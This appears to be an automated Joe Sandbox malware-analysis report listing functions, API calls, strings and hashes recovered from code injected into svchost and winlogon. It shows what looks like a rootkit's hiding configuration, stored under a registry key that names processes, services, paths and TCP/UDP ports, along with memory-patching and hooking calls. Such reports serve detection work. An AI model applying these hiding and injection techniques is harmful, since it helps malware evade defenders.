Source File: 00000005.00000002.2624132952.0000021681980000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021681980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21681980000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: 09d03c6ab22edbb96724a3b4ca98121e83798b2f6441db1c3f75e410c3f6a88d
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: 1451E2323526008FEF18CF55E44CBADB792F764B98F568125EB4A87788DB79C949C700

Function 000002168198A3C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002168198A46B

Strings

RCC, xrefs: 000002168198A43B
MOC, xrefs: 000002168198A433

Memory Dump Source

Source File: 00000005.00000002.2624132952.0000021681980000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021681980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21681980000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: 4a691fc3f30871568cbb659e5ddc4cf54a034a6163590912501f94fe6b11e8bb
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: D561AF72504BC48AEB708F25E4483DEB7A0F7A5BA8F054215EF9947B99DB7CC198CB00

Function 00000216819B2338 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000216819B241E
StrCpyW.SHLWAPI ref: 00000216819B2435

Strings

\\.\pipe\, xrefs: 00000216819B2429

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction ID: 333fcd61bbf4bc4705204bb4755e8e41bc7211cc0803d2090206793338cfd2e6
Opcode Fuzzy Hash: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction Fuzzy Hash: EE5106322047A189EE25DF29A05C3EE67A2F3A5B80FC64025DE9E03F99DE39D54DC740

Function 00000216819C2C60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000216819C2D77
GetLastError.KERNEL32 ref: 00000216819C2D99

Strings

U, xrefs: 00000216819C2D23

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction ID: 7adbb29521ce76c1c4d67e17dd5508aaeaefbe1d060ec9816d2b3e566ac1df88
Opcode Fuzzy Hash: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction Fuzzy Hash: 03419072714A908AEB60DF65E84C3EE67A0F7A8794F824121EE8D87798EB7CC545C740

Function 00000216819B8A58 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000216819B8AA8
RaiseException.KERNEL32 ref: 00000216819B8AE9

Strings

csm, xrefs: 00000216819B8AD6

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction ID: 5592283a4664d3341b5304dcf7baee73327e261ec94aa728d918a66c94bc1116
Opcode Fuzzy Hash: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction Fuzzy Hash: 0A112832219B8082EF618B15F44829EB7E5F798B94F5A4625EFCD07B68EF3CC5558B00

Function 00000216819B1BFC Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216819B1C35
HeapAlloc.KERNEL32 ref: 00000216819B1C43
GetProcessHeap.KERNEL32 ref: 00000216819B1C7F
HeapFree.KERNEL32 ref: 00000216819B1C8D

Part of subcall function 00000216819B1534: StrCmpIW.SHLWAPI ref: 00000216819B1565

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction ID: ad3ebd189bd1ce3a754ad231f4adb9a8daf251f527b4edceabcd72025bdb08a4
Opcode Fuzzy Hash: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction Fuzzy Hash: C5118F35A01B5489EE05DF66B40C2AD67A1FBD9FC1F5A4024DE4D43765EE38C446C300

Function 00000216819B1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216819B126E
HeapAlloc.KERNEL32 ref: 00000216819B127D
GetProcessHeap.KERNEL32 ref: 00000216819B1297
HeapAlloc.KERNEL32 ref: 00000216819B12A8

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: ca825b209141a05a67d147eb67ff52e222250f1688b920899263023ae9d1fecd
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 49E0ED756116048AEB049F62E81C39E7AE1FBD9F56F46C024C98907351DF7DC499C750

Analysis Process: winlogon.exePID: 556, Parent PID: 5480COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	95.1%
Signature Coverage:	0%
Total number of Nodes:	123
Total number of Limit Nodes:	16

Executed Functions

Function 000001CA7D1E1630 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E163B
HeapAlloc.KERNEL32 ref: 000001CA7D1E164A

Part of subcall function 000001CA7D1E1268: GetProcessHeap.KERNEL32 ref: 000001CA7D1E126E
Part of subcall function 000001CA7D1E1268: HeapAlloc.KERNEL32 ref: 000001CA7D1E127D
Part of subcall function 000001CA7D1E1268: GetProcessHeap.KERNEL32 ref: 000001CA7D1E1297
Part of subcall function 000001CA7D1E1268: HeapAlloc.KERNEL32 ref: 000001CA7D1E12A8

RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E16BA
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E16E7
RegCloseKey.ADVAPI32 ref: 000001CA7D1E1701
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E1721
RegCloseKey.ADVAPI32 ref: 000001CA7D1E173C
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E175C
RegCloseKey.ADVAPI32 ref: 000001CA7D1E1777
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E1797
RegCloseKey.ADVAPI32 ref: 000001CA7D1E17B2
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E17D2
RegCloseKey.ADVAPI32 ref: 000001CA7D1E17ED
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E180D
RegCloseKey.ADVAPI32 ref: 000001CA7D1E1828
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E1848
RegCloseKey.ADVAPI32 ref: 000001CA7D1E1863
RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E1883
RegCloseKey.ADVAPI32 ref: 000001CA7D1E189E
RegCloseKey.ADVAPI32 ref: 000001CA7D1E18A8

Part of subcall function 000001CA7D1E12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D1E1319
Part of subcall function 000001CA7D1E12BC: GetProcessHeap.KERNEL32 ref: 000001CA7D1E1327
Part of subcall function 000001CA7D1E12BC: HeapAlloc.KERNEL32 ref: 000001CA7D1E1338
Part of subcall function 000001CA7D1E12BC: RegEnumValueW.ADVAPI32 ref: 000001CA7D1E1397
Part of subcall function 000001CA7D1E12BC: GetProcessHeap.KERNEL32 ref: 000001CA7D1E13DF
Part of subcall function 000001CA7D1E12BC: HeapAlloc.KERNEL32 ref: 000001CA7D1E13ED
Part of subcall function 000001CA7D1E12BC: GetProcessHeap.KERNEL32 ref: 000001CA7D1E140A
Part of subcall function 000001CA7D1E12BC: HeapFree.KERNEL32 ref: 000001CA7D1E1418
Part of subcall function 000001CA7D1E12BC: lstrlenW.KERNEL32 ref: 000001CA7D1E1421
Part of subcall function 000001CA7D1E12BC: GetProcessHeap.KERNEL32 ref: 000001CA7D1E142F
Part of subcall function 000001CA7D1E12BC: HeapAlloc.KERNEL32 ref: 000001CA7D1E143D

Strings

paths, xrefs: 000001CA7D1E1790
startup, xrefs: 000001CA7D1E16DD
pid, xrefs: 000001CA7D1E171A
tcp_local, xrefs: 000001CA7D1E1806
SOFTWARE\wzconfig, xrefs: 000001CA7D1E169A
service_names, xrefs: 000001CA7D1E17CB
process_names, xrefs: 000001CA7D1E1755
tcp_remote, xrefs: 000001CA7D1E1841
udp, xrefs: 000001CA7D1E187C

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\wzconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-440640706
Opcode ID: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction ID: 9ab28105617f9f4d7831693b50e93b4076cf9e458c14d77aa972915aef88bcfd
Opcode Fuzzy Hash: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction Fuzzy Hash: A7711737B51B1986FB119F62E880ED933A4FB85B8DF811111DA4E43B68DF3AC484C396

Function 000001CA7D1E37A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001CA7D1E37B2
GetCurrentProcess.KERNEL32 ref: 000001CA7D1E37E0
VirtualProtectEx.KERNEL32 ref: 000001CA7D1E3802
GetCurrentProcess.KERNEL32 ref: 000001CA7D1E381D
VirtualProtectEx.KERNEL32 ref: 000001CA7D1E383E

Strings

wr, xrefs: 000001CA7D1E3813

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction ID: 8ec04587158281d2d9dad587585733f8651462eefbddc6046d8ec44daa99c3b8
Opcode Fuzzy Hash: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction Fuzzy Hash: 4D118E37B4574482FF259B52F404AAA72A0FB89F8AF840129DE8903B54EF3EC504C746

Function 000001CA7D1E5B40 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E5B7B
GetThreadContext.KERNEL32 ref: 000001CA7D1E5CE5

Part of subcall function 000001CA7D1E5970: GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E5974

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: bb6e1daf763caff3280ddda97538b795954ea030298127e76771fb68279c5f11
Instruction ID: 5c05e1e5ecc0651991b550fbc0c94235542ffdcd75a6674f26f374849764ce7f
Opcode Fuzzy Hash: bb6e1daf763caff3280ddda97538b795954ea030298127e76771fb68279c5f11
Instruction Fuzzy Hash: 8AD1CB37644B8882FA71DB16E49079AB7A0F788B89F500212EACD477A5DF3DC541CB82

Function 000001CA7D1E50E0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D1E5166

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: c3d7fdcc31d1e74926da01ee871671d3c0ed7e2ef0909a2a1c762ceeae194f43
Instruction ID: 9156b42a81309df7a60c261afd2316abbb79b349619a0c02224a01ac2ec13a04
Opcode Fuzzy Hash: c3d7fdcc31d1e74926da01ee871671d3c0ed7e2ef0909a2a1c762ceeae194f43
Instruction Fuzzy Hash: 6A021A33649B8886F761CB55F49079AB7A0F7C4789F500015EA8E87BA9DF7DC444CB82

Function 000001CA7D1E39F0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001CA7D1E3A76
VirtualAlloc.KERNEL32 ref: 000001CA7D1E3AB0

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: 583c9a696cbd2eed1741be8d9dfd6b22d02d31c25e0c094f16caf77a54ebc047
Instruction ID: 611f96c174db5e12ab381184d84b39c11c659b9b8cc276fc81eacf61a152ff8d
Opcode Fuzzy Hash: 583c9a696cbd2eed1741be8d9dfd6b22d02d31c25e0c094f16caf77a54ebc047
Instruction Fuzzy Hash: BA313433A59B4881FB32DA15E05479AB7A0FB84B8EF900515F5CD46B99DF3EC5808B83

Function 000001CA7D1E32A0 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001CA7D1E32C2
PathFindFileNameW.SHLWAPI ref: 000001CA7D1E32D1

Part of subcall function 000001CA7D1E3858: StrCmpNIW.SHLWAPI ref: 000001CA7D1E3870

Part of subcall function 000001CA7D1E37A4: GetModuleHandleW.KERNEL32 ref: 000001CA7D1E37B2
Part of subcall function 000001CA7D1E37A4: GetCurrentProcess.KERNEL32 ref: 000001CA7D1E37E0
Part of subcall function 000001CA7D1E37A4: VirtualProtectEx.KERNEL32 ref: 000001CA7D1E3802
Part of subcall function 000001CA7D1E37A4: GetCurrentProcess.KERNEL32 ref: 000001CA7D1E381D
Part of subcall function 000001CA7D1E37A4: VirtualProtectEx.KERNEL32 ref: 000001CA7D1E383E

CreateThread.KERNEL32 ref: 000001CA7D1E331F

Part of subcall function 000001CA7D1E1D1C: GetCurrentThread.KERNEL32 ref: 000001CA7D1E1D27

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction ID: c82ee47a6ee21ed23934ef6add0532bd6daf23a1234905dce6844197f9e6dc7c
Opcode Fuzzy Hash: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction Fuzzy Hash: 63117C32E9074D82F7629760A809FD97290BF54B0FFC040259446816A2EF3BC44983C3

Function 000001CA7D1E4E00 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001CA7D1E4E04
VirtualProtect.KERNEL32 ref: 000001CA7D1E4E47
FlushInstructionCache.KERNEL32 ref: 000001CA7D1E4E5C

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 7bd4ffe34fae4658c507964c0034225464d3acd96ef312876d3b1babf7cbfa54
Instruction ID: da08ccee6737cd7e57eba466047ad7013c8b080749dc1189c21685581aac2f6e
Opcode Fuzzy Hash: 7bd4ffe34fae4658c507964c0034225464d3acd96ef312876d3b1babf7cbfa54
Instruction Fuzzy Hash: 2BF01D37658B0880F6329B11E491B8A77A0FB887D9F940111BACD03B69DA3EC1918B82

Function 000001CA7D1B2750 Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001CA7D1B27EF
LoadLibraryA.KERNELBASE ref: 000001CA7D1B2872

Memory Dump Source

Source File: 00000006.00000002.2638967747.000001CA7D1B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 7b8c24021299dcb41b8805f87c59f78c8aa839f6b9bd9ac3640d72a9e7300ad4
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: D6610233F417E887EB568F159000BADB392FF44B98F988124DE0D07788DA39D85AC782

Function 000001CA7D1E1AC4 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001CA7D1E1630: GetProcessHeap.KERNEL32 ref: 000001CA7D1E163B
Part of subcall function 000001CA7D1E1630: HeapAlloc.KERNEL32 ref: 000001CA7D1E164A
Part of subcall function 000001CA7D1E1630: RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E16BA
Part of subcall function 000001CA7D1E1630: RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E16E7
Part of subcall function 000001CA7D1E1630: RegCloseKey.ADVAPI32 ref: 000001CA7D1E1701
Part of subcall function 000001CA7D1E1630: RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E1721
Part of subcall function 000001CA7D1E1630: RegCloseKey.ADVAPI32 ref: 000001CA7D1E173C
Part of subcall function 000001CA7D1E1630: RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E175C
Part of subcall function 000001CA7D1E1630: RegCloseKey.ADVAPI32 ref: 000001CA7D1E1777
Part of subcall function 000001CA7D1E1630: RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E1797
Part of subcall function 000001CA7D1E1630: RegCloseKey.ADVAPI32 ref: 000001CA7D1E17B2
Part of subcall function 000001CA7D1E1630: RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E17D2

Sleep.KERNEL32 ref: 000001CA7D1E1ADF
SleepEx.KERNELBASE ref: 000001CA7D1E1AE5

Part of subcall function 000001CA7D1E1630: RegCloseKey.ADVAPI32 ref: 000001CA7D1E17ED
Part of subcall function 000001CA7D1E1630: RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E180D
Part of subcall function 000001CA7D1E1630: RegCloseKey.ADVAPI32 ref: 000001CA7D1E1828
Part of subcall function 000001CA7D1E1630: RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E1848
Part of subcall function 000001CA7D1E1630: RegCloseKey.ADVAPI32 ref: 000001CA7D1E1863
Part of subcall function 000001CA7D1E1630: RegOpenKeyExW.ADVAPI32 ref: 000001CA7D1E1883
Part of subcall function 000001CA7D1E1630: RegCloseKey.ADVAPI32 ref: 000001CA7D1E189E
Part of subcall function 000001CA7D1E1630: RegCloseKey.ADVAPI32 ref: 000001CA7D1E18A8

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction ID: a07f805ffae74e0d63d6fdf8c268cb46fa96c110946ffe678857fd558b38d778
Opcode Fuzzy Hash: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction Fuzzy Hash: 51314477A8470941FA529B22D940BED33B5BF44BC9FD940A18E09876D5FE12C8D183E3

Non-executed Functions

Function 000001CA7D1E2B40 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001CA7D1E2BE4
lstrlenW.KERNEL32 ref: 000001CA7D1E2E1E

Part of subcall function 000001CA7D1E19A4: OpenProcess.KERNEL32 ref: 000001CA7D1E19CA
Part of subcall function 000001CA7D1E19A4: K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D1E19E8
Part of subcall function 000001CA7D1E19A4: PathFindFileNameW.SHLWAPI ref: 000001CA7D1E19F7
Part of subcall function 000001CA7D1E19A4: lstrlenW.KERNEL32 ref: 000001CA7D1E1A03
Part of subcall function 000001CA7D1E19A4: StrCpyW.SHLWAPI ref: 000001CA7D1E1A16
Part of subcall function 000001CA7D1E19A4: CloseHandle.KERNEL32 ref: 000001CA7D1E1A24

GetProcAddress.KERNEL32 ref: 000001CA7D1E2BF9

Part of subcall function 000001CA7D1E1534: StrCmpIW.SHLWAPI ref: 000001CA7D1E1565

Part of subcall function 000001CA7D1E3858: StrCmpNIW.SHLWAPI ref: 000001CA7D1E3870

StrCmpNIW.SHLWAPI ref: 000001CA7D1E2C3C
lstrlenW.KERNEL32 ref: 000001CA7D1E2D64

Strings

ntdll.dll, xrefs: 000001CA7D1E2BDD
NtQueryObject, xrefs: 000001CA7D1E2BEF
\Device\Nsi, xrefs: 000001CA7D1E2C2F

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction ID: 555bc39b5e6f9ab1c6164b41ac2929c36f064cfbafa2d1fd9315a83b4d649197
Opcode Fuzzy Hash: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction Fuzzy Hash: A8B18073A9179881FB6A8F25D410BE973A4FF44B89F94505AEE0953794DE36CC80C3C2

Function 000001CA7D1E7D90 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001CA7D1E7DAC
RtlCaptureContext.NTDLL ref: 000001CA7D1E7DD9
RtlLookupFunctionEntry.NTDLL ref: 000001CA7D1E7DF3
RtlVirtualUnwind.NTDLL ref: 000001CA7D1E7E34
IsDebuggerPresent.KERNEL32 ref: 000001CA7D1E7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CA7D1E7EA5
UnhandledExceptionFilter.KERNEL32 ref: 000001CA7D1E7EB0

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction ID: 938f5b669ad8451808081d637da5d7242c60a325c1498bc33c5ba135558a0bfe
Opcode Fuzzy Hash: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction Fuzzy Hash: 6A317077645B8486FB61CF60E840BED7360FB84708F84402ADA8E47B95EF39C648C752

Function 000001CA7D1ED814 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001CA7D1ED88D
RtlLookupFunctionEntry.NTDLL ref: 000001CA7D1ED8A5
RtlVirtualUnwind.NTDLL ref: 000001CA7D1ED8E0
IsDebuggerPresent.KERNEL32 ref: 000001CA7D1ED919
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CA7D1ED923
UnhandledExceptionFilter.KERNEL32 ref: 000001CA7D1ED92E

Memory Dump Source

Source File: 00000006.00000002.2639839393.000001CA7D1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction ID: 271964bf979d0af30ccaa3c2c3b8d9b5bba9c84c70045a5d429a5ec3e4483d15
Opcode Fuzzy Hash: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction Fuzzy Hash: 1731A037654B8486FB21CF25E840BDE73A0FB88758F940115EA9D43B99DF39C145CB42

Function 000001CA7D1E12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CA7D1E1319
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1327
HeapAlloc.KERNEL32 ref: 000001CA7D1E1338
RegEnumValueW.ADVAPI32 ref: 000001CA7D1E1397

Part of subcall function 000001CA7D1E1534: StrCmpIW.SHLWAPI ref: 000001CA7D1E1565

GetProcessHeap.KERNEL32 ref: 000001CA7D1E13DF
HeapAlloc.KERNEL32 ref: 000001CA7D1E13ED
GetProcessHeap.KERNEL32 ref: 000001CA7D1E140A
HeapFree.KERNEL32 ref: 000001CA7D1E1418
lstrlenW.KERNEL32 ref: 000001CA7D1E1421
